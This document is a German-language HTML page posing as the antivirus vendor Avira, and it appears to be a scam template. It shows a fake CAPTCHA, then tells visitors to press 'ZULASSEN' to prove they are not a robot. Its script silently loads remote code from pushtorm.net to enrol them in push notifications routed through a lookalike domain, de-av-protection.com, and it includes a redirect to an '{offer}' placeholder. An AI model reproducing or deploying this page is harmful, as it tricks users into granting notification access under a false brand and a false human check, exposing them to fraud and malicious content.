<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Avira</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            height: auto;
            background-color: #fff;
            background-size: cover;
            display: flex;
            flex-direction: column;
            font-family: 'Open Sans', sans-serif;

        }

        header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            background-color: white;
        }

        header img {
            width: 120px; /* Adjust the width as needed for your logo */
            height: auto;
        }

        #popup {
            display: none;
            padding: 50px;
            text-align: center;
        }

        #popup img {
            width: 500px; /* Adjust the width as needed for the popup image */
            height: 150px; /* Adjust the height as needed for the popup image */
            cursor: pointer;
        }

	#pointingImage {
            display: none;
            position: absolute;
            top: 100px; /* Adjust the top position as needed */
            left: 20px; /* Adjust the left position as needed */
            z-index: 1000; /* Ensure it's above other elements */
        }
    #robotPic {
        display:none;
        padding: 100px;
        margin: 100px;
        width: 10%;
        height: 10%;
        position: fixed;
        
        
    }
        

	#blockOfText {
    width: 500px;
    height: 290px;
    display: none;
    text-align: center;
    align-self: center;
    font-size: 50px;
    color: black;
    position: relative;
    margin:100px;
    }
}
        footer {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            background-color: #000;
            color: #fff;
            text-align: center;
        }
    </style>
</head>
<body>

    <div id="popup">
        <img src="files/captcha.png" onclick="closePopup()">
    </div>

	<div id="pointingImage">
        	<img src="files/arrow.png" alt="Pointing Image"> <!-- Replace 'pointing-image.png' with your pointing image path -->
    	</div>
	<div id="robotPic">
        <img src='files/robot.png'>
    </div>
	<div id="blockOfText">
    <p>Bitte drücken Sie <b>"ZULASSEN"</b>, um zu bestätigen, dass Sie kein Roboter sind.</p>
</div>
  
    <script>
    
        // Function to show the popup
        function showPopup() {
            document.getElementById('popup').style.display = 'block';
		document.getElementById('pointingImage').style.display = 'none';
		document.getElementById('blockOfText').style.display = 'none';

        }

        // Function to close the popup
        function closePopup() {
            document.getElementById('popup').style.display = 'none';
		document.getElementById('pointingImage').style.display = 'none';
		document.getElementById('blockOfText').style.display = 'block';
        document.getElementById('robotPic').style.display = 'none'
    SubscribeForNotifications(); // Call the function to subscribe for notifications
            

        }
        
        function SubscribeForNotifications() {
            // Add the provided code for subscription here
            (function (p,u,s,h){ 
                var settings = { 
                    feedGuid: "d38807ea50964dceba11bd07949a8298", 
                    vapidPublic: "BJ7iei5WZJV1MYPlVyXFfvZJsAGLl69VnXDg3c90DRBDPn9UTbIlnxzTu6qH89EApguhht5lkNe7zhvL-Opgh_A", 
                    requestOnPageLoad: true, 
                    allowUrl: "https://de-av-protection.com/fdVJsVwy?creative_id={creativeId}&ad_campaign_id={feedId}&source={feedId}", 
                    blockUrls: ["https://de-av-protection.com/PJP9ZrqV?creative_id={creativeId}&ad_campaign_id={feedId}&source={feedId}"], 
                    passUrlParams: true, 
                    showBlockBanner: false, 
                    onSuccessCallback: null, 
                    params: {

                    } 
                }; 
                let b=u.getElementsByTagName("body")[0],z=u.createElement(s);z.src=h,z.async=1,z.defer=1,b.appendChild(z); 
                z.addEventListener("load", function(){pushService.init(settings);b.dispatchEvent(new Event("ps_ready"));});}) 
                (window,document,"script","https://pushtorm.net/subscription.js");
        }
        
        function handleButtonClick() {
        // Replace 'https://example.com' with the URL you want to redirect the user to
        var redirectURL = '{offer}';

        // Perform the redirection
        window.location.href = redirectURL;
    }
        
        // Show the popup when the page loads (you can use other events like click, etc.)
        window.onload = showPopup;
    </script>

</body>
</html>